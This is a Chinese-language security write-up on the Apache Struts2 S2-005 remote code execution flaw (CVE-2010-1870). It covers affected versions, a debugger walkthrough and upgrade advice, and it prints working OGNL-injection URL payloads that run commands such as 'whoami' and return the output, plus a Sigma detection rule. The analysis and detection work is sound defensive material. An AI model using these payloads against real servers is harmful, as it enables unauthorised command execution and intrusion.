STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

原理:

S2-005的出现是因为官方对S2-003的修补不完全导致的。官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.denyMethodExecution)等来修补。但可以被绕过设置allowStaticMethodAccess为true和denyMethodExecution为false,从而导致任意命令执行。

漏洞影响范围:

Struts 2.0.0 - Struts 2.1.8.1

环境搭建

下载 st-005 的漏洞环境,通过war包部署,idea运行war包部署后的文件,进行断点调试。

payload如下:

## 命令执行/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1回显:/example/HelloWorld.action?(a)(\u0023_memberAccess.allowStaticMethodAccess\u003dtrue)&(b)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(c)(\u0023ret\u003d@java.lang.Runtime@getRuntime().exec('whoami'))&(d)(\u0023dis\u003dnew\u0020java.io.BufferedReader(new\u0020java.io.InputStreamReader(\u0023ret.getInputStream())))&(e)(\u0023res\u003dnew\u0020char[20000])&(f)(\u0023dis.read(\u0023res))&(g)(\u0023writer\u003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())&(h)(\u0023writer.println(new\u0020java.lang.String(\u0023res)))&(i)(\u0023writer.flush())&(j)(\u0023writer.close())

编码:

## 命令执行/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22calc%22.split(%22@%22))%27)(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1## 回显/example/HelloWorld.action?(a)(%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue)&(b)(%5Cu0023context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%5Cu003dfalse)&(c)(%5Cu0023ret%5Cu003d%40java.lang.Runtime%40getRuntime().exec('whoami'))&(d)(%5Cu0023dis%5Cu003dnew%5Cu0020java.io.BufferedReader(new%5Cu0020java.io.InputStreamReader(%5Cu0023ret.getInputStream())))&(e)(%5Cu0023res%5Cu003dnew%5Cu0020char%5B20000%5D)&(f)(%5Cu0023dis.read(%5Cu0023res))&(g)(%5Cu0023writer%5Cu003d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter())&(h)(%5Cu0023writer.println(new%5Cu0020java.lang.String(%5Cu0023res)))&(i)(%5Cu0023writer.flush())&(j)(%5Cu0023writer.close())

代码分析

输入url请求:

/example/HelloWorld.action?('\u0023\_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

S2-005的出现是因为官方对S2-003的修补的不完全导致的。官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.denyMethodExecution)等来修补。大家可以先查看st-003漏洞分析过程,这里不再重复啦。

首先,在ParametersInterceptor拦截器,setParameters方法下,代码:newStack.setValue(name, value) 这里设置断点调试。

对输入参数进行跟踪,node参数设置,# _memberAccess['allowStaticMethodAccess'],

将allowStaticMethodAccess修改为true。

继续跟进:

继续跟踪:

通过invoke方法调用,实现allowStaticMethodAccess参数修改。

同时,denyMethodExecution参数修改与之类似,不再进一步分析。

st-003与st-005 参数对比:

都可以实现denyMethodExecution 参数的修改。

st-003:(a)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)st-005:(a)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))

st-003的命令执行参数无法在st-005漏洞环境上成功。

st-003:('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)st-005:(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))

同时,st-005多了allowStaticMethodAccess参数的修改,具体如下:

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true

测试用例

使用工具:Struts2漏洞检查工具2019版 V2.3.exe进行漏洞验证,具体如图:

检测规则

Sigma检测规则如下:

title: st-005远程代码执行漏洞description: 检测st-005远程代码执行漏洞status: testdate: 2022/04/02author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- 'allowStaticMethodAccess'- '\u0023_memberAccess'- 'xwork.MethodAccessor.denyMethodExecution'- '\u0023context'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2010.1870level: Critical

缓解措施

官方建议Struts升级至 2.2.1版本,或更高版本。

参考链接

https://xz.aliyun.com/t/2323

http://www.b1ue.cn/archives/107.html

https://cwiki.apache.org/confluence/display/WW/S2-005